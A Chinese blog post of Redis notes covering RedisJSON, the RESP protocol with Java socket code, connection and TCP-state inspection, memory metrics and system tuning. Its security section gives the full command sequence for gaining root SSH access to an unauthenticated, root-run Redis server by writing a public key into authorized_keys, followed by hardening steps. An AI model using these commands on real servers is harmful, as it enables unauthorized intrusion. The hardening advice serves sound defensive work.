美文网首页
Redis 模块 协议 网络 安全 优化

Redis 模块 协议 网络 安全 优化

作者: 上岸大虾米 | 来源:发表于2022-05-31 19:54 被阅读0次

Redis

1、Redis module

Module 通过使用外部模块和自定义的 Redis 命令来扩展 Redis 的能力,在 Redis 4.0 版本引入。

1.1 RedisJSON安装使用

Docker安装

docker run -d -p 6379:6379 --name redis-redisjson redislabs/rejson:latest

常规安装

redis-server --loadmodule /usr/lib/redis/module/rejson.so
1.2 Redis配置

开启AOF

config set appendonly yes
1.3 使用
JSON.SET user . '{"name":"b2b","age":9}'
JSON.GET user name
2、Redis 协议

RESP(REdis Serialization Protocol,Redis序列化协议),协议内容

*4                          // * + (入参长度 + 1)  
$8                          // $ + (命令长度 + 1) 
JSON.SET                    // 命令
$4                          // $ + 入参长度 
user                        // 入参
$1                          // $ + 入参长度 
.                           // 入参
$23                         // $ + 入参长度 
{"name":"lcj","age":23}       // 入参
---------------------------总结------------------------------------
  * args.length
  $ args[0].length
  args[0]
  $ args[1].length
  args[1]
  ....

源码redis.clients.jedis.Protocol#sendCommand(redis.clients.util.RedisOutputStream, byte[], byte[]...)

private static void sendCommand(final RedisOutputStream os, final byte[] command,
      final byte[]... args) {
    try {
      os.write(ASTERISK_BYTE);   
      os.writeIntCrLf(args.length + 1); 
      os.write(DOLLAR_BYTE);  
      os.writeIntCrLf(command.length); 
      os.write(command);
      os.writeCrLf();

      for (final byte[] arg : args) {
        os.write(DOLLAR_BYTE);   
        os.writeIntCrLf(arg.length); 
        os.write(arg); 
        os.writeCrLf(); 
      }
    } catch (IOException e) {
      throw new JedisConnectionException(e);
    }
  }

Socket 实现

public void jsonTest() throws IOException {
        Socket socket = new Socket("10.2.158.21",6379);
        socket.setKeepAlive(true);
        InputStream read = socket.getInputStream();
        OutputStream write = socket.getOutputStream();

        write.write("*4".getBytes());
        write.write("\r\n".getBytes());
        write.write("$8".getBytes());
        write.write("\r\n".getBytes());
        write.write("JSON.SET".getBytes());
        write.write("\r\n".getBytes());
        write.write("$4".getBytes());
        write.write("\r\n".getBytes());
        write.write("user".getBytes());
        write.write("\r\n".getBytes());
        write.write("$1".getBytes());
        write.write("\r\n".getBytes());
        write.write(".".getBytes());
        write.write("\r\n".getBytes());
        write.write("$23".getBytes());
        write.write("\r\n".getBytes());
        write.write("{\"name\":\"lcj\",\"age\":23}".getBytes());
        write.write("\r\n".getBytes());

        write.flush();
        byte[] arr = new byte[1024];
        int len = read.read(arr);
        System.out.println(new String(arr,0,len));
    }
2.1 Redis连接

客户端连接Redis

# 二者都可以获取连接数 
redis-cli client list | wc -l   # 可以查看明细
info clients  # 只是一个总数

Docker容器查看

# 获取进程号
docker inspect -f {{.State.Pid}} redis
# 进入某个进程的network namespace
nsenter -n -t {pid}
# 查看tcp连接
netstat -t

PROC查看

cat /proc/{pid}/net/tcp

lsof

# 查看6379端口分配了的文件描述符
lsof -i:6379
# 查看pid进程分配了的文件描述符
lsof -p pid
3、TCP连接状态

LISTENING

FTP服务启动后首先处于侦听(LISTENING)状态。

ESTABLISHED

ESTABLISHED的意思是建立连接。表示两台机器正在通信。

CLOSE_WAIT

对方关闭连接,导致我方状态变为CLOSE_WAIT(之前未关闭Redis连接,客户端网络连接状态就是CLOSE_WAIT)

TIME_WAIT

我方主动断开连接

FIN-WAIT-2

从远程TCP等待连接中断请求

演示

redis 配置

# 10s关闭空闲连接
config set timeout 10

Java代码

public static void main(String[] args) throws InterruptedException {

        JedisPoolConfig config = new JedisPoolConfig();
        config.setMaxTotal(10);
        config.setMaxIdle(2);
        config.setMinIdle(1);
        config.setMaxWaitMillis(1000);
        config.setMinEvictableIdleTimeMillis(10000);
        config.setTimeBetweenEvictionRunsMillis(30000);
        JedisPool pool = new JedisPool(config,"ip地址",6379);
        List<Jedis> list = Lists.newArrayList();
        IntStream.rangeClosed(1,10).forEach(i -> list.add(pool.getResource()));
        System.out.println("------------断点查看网络连接数,timeout=10--------------");
        list.forEach(Jedis::close);

        Thread.currentThread().join();
    }

客户端 NETSTAT /an | findstr 6379

  TCP    192.168.17.1:65490     192:6379               CLOSE_WAIT
  TCP    192.168.17.1:65491     192:6379               CLOSE_WAIT
  TCP    192.168.17.1:65492     192:6379               CLOSE_WAIT
  TCP    192.168.17.1:65493     192:6379               CLOSE_WAIT
  TCP    192.168.17.1:65494     192:6379               CLOSE_WAIT
  TCP    192.168.17.1:65495     192:6379               CLOSE_WAIT
  TCP    192.168.17.1:65496     192:6379               CLOSE_WAIT
  TCP    192.168.17.1:65497     192:6379               CLOSE_WAIT
  TCP    192.168.17.1:65498     192:6379               CLOSE_WAIT
  TCP    192.168.17.1:65499     192:6379               CLOSE_WAIT
4、内存 常见命令
4.1 查看内存

通过info memory 查看 内存信息

used_memory:159833408    
used_memory_human:152.43M 
used_memory_rss:166608896 
used_memory_rss_human:158.89M
maxmemory:0
maxmemory_human:0B
mem_fragmentation_ratio:1.04

  1. used_memory 已用内存
  2. used_memory_human 人类易于理解方式used_memory 的值
  3. used_memory_rss 操作系统层面分配的内存
  4. maxmemory 最大内存,0表示不限制,推荐最大物理内存 减去 2~3G(系统占用 + Redis线程自身占用 + 数据备份FORK的线程)
  5. mem_fragmentation_ratio mem_fragmentation_ratio =used_memory_rss/used_memor

mem_fragmentation_ratio 大于1表示操作系统分配的部分内存没有被用于存储数据,而是被内存碎片消耗,如果该值过大,说明碎片严重

mem_fragmentation_ratio 小于1,存在两种情况,一是Redis 使用了Swap内存(虚拟内存,硬盘存储),这种情况需格外注意,因为硬盘读写速度远小于内存,导致Redis性能下降严重,此时需要查看该Redis进程使用的Swap大小,如果Swap值为0,则是另外一种情况,参见:https://github.com/redis/redis/issues/946

# 查看整个系统Swap使用情况
free -h 
# 查看线程使用Swap
cat /proc/{pid}/status | grep -i swap

mem_fragmentation_ratio ` 保持在(1~1.25),过大可以通过安全重启方式解决。

5、安全

[图片上传失败...(image-a3ed8-1654160308897)]

通过Redis获取机器目标机器root权限

Redis需符合以下条件:

  1. 没有设置密码
  2. 使用root账号启动
  3. 可以正常访问
# 失败
linux> ssh root@10.2.158.20

redis> flushall
# /root/.ssh生成 rsa类型的公钥和私钥
linux> ssh-keygen -t rsa
linux> (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > my.pub
# -x 表示将  cat my.pub输出作为 参数
linux> cat my.pub |  redis-cli -h ip地址  -p 6379 -x set crackit
# 设置 持久化文件的存储目录
redis> config set dir /root/.ssh
# 设置 持久化文件名
redis> config set dbfilename authorized_keys
redis> save
# 成功
linux> ssh root@ip地址

防护

  1. 配置复杂密码(长度要长) redis.conf 配置 requirepass设置值,长度要长,复杂多要高
  2. rename 关键命令,如 flushall、flushdb、config等,改为"" 表禁用
  3. bind 为redis内网网卡所属IP
  4. 非root权限用户启动Redis
  5. 定时备份数据...
6、优化
1、ulimit

查看限制信息

ulimit -a
# 查看系统级别打开文件数量最大限制
cat /proc/sys/fs/file-max

修改 open file

# 临时修改
ulimit -HSn 65535
# 永久修改
echo ' *  - nofile 65535' >> /etc/security/limits.conf

修改redis

config get maxclients  # 默认 10000
config set maxclients 60000  # 临时调整为 60000,永久需至配置文件中修改
2、overcommit

Linux操作系统,对大部分申请内存的请求都回复yes,以便能运行更多的程序。因为申请内存后,并不会马上使用内存,这种技术叫做overcommit。

查看与设置

 cat /proc/sys/vm/overcommit_memory
 echo "vm.overcommit_memory=1" >> /etc/sysctl.conf
 sysctl vm.overcommit_memory=1

修改redis

config get maxmemory  
# 默认 0,不限制  设置格式:  maxmemory 1000KB   maxmemory 1G... 
# 最大内存配置需保障机器有20-30%闲置内存(redis线程 + redis内存数据(maxmemory) + fork备份数据)
config set maxmemory 60000  # 临时调整为 60000,永久需至配置文件中修改
3、tcp-backlog

tcp-backlog 已完成连接队列的长度

查看与设置

cat /proc/sys/net/core/somaxconn
echo 2048 > /proc/sys/net/core/somaxconn

修改Redis

config get tcp-backlog
config set tcp-backlog 2048
参考资料
  1. 官网英文版 https://redis.io/modules
  2. 官网中文版 http://www.redis.cn/
  3. 自定义Module https://blog.csdn.net/weixin_40785301/article/details/122629052
  4. RedisJSON入门 https://www.jianshu.com/p/02931dafb1ce
  5. 查看Docker TCP连接数 https://www.cnblogs.com/nanxiang/p/14807774.html
  6. TCP 连接状态 https://blog.csdn.net/qq_40907977/article/details/103878127
  7. ratio 小于1问题 https://github.com/redis/redis/issues/946

相关文章

  • Redis 模块 协议 网络 安全 优化

    Redis 1、Redis module Module 通过使用外部模块和自定义的 Redis 命令来扩展 Red...

  • go redis 协议篇

    1 Redis网络协议详解 redis的网路协议全名是Redis Serialization Protocol (...

  • 更多

    内存管理 多线程开发 数据库 网络优化 动画 动态化 TCP http网络协议 模块设计 需求分析 性能调优 常用...

  • Redis 协议简单研究

    1.Redis网络通信协议 Redis底层网络通信协议其实是通过TCP来完成的。 2.Redis通信协议 Redi...

  • 网络协议 - DNS 优化

    网络协议 - DNS 优化

  • SSH 远程登录

    Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全...

  • HTTPS 浅析

    网络七层协议TCP/IP 五层协议HTTPS 概念HTTPS 优化 网络七层协议 OSI是Open System ...

  • redis单线程原理

    redis单线程问题 单线程指的是网络请求模块使用了一个线程(所以不需考虑并发安全性),即一个线程处理所有网络请求...

  • Redis 数据类型

    Redis Redis 学习笔记 II Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、...

  • <安全攻防之SSH>

    一、SSH Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络...

网友评论

      本文标题:Redis 模块 协议 网络 安全 优化

      本文链接:https://www.haomeiwen.com/subject/xihwdrtx.html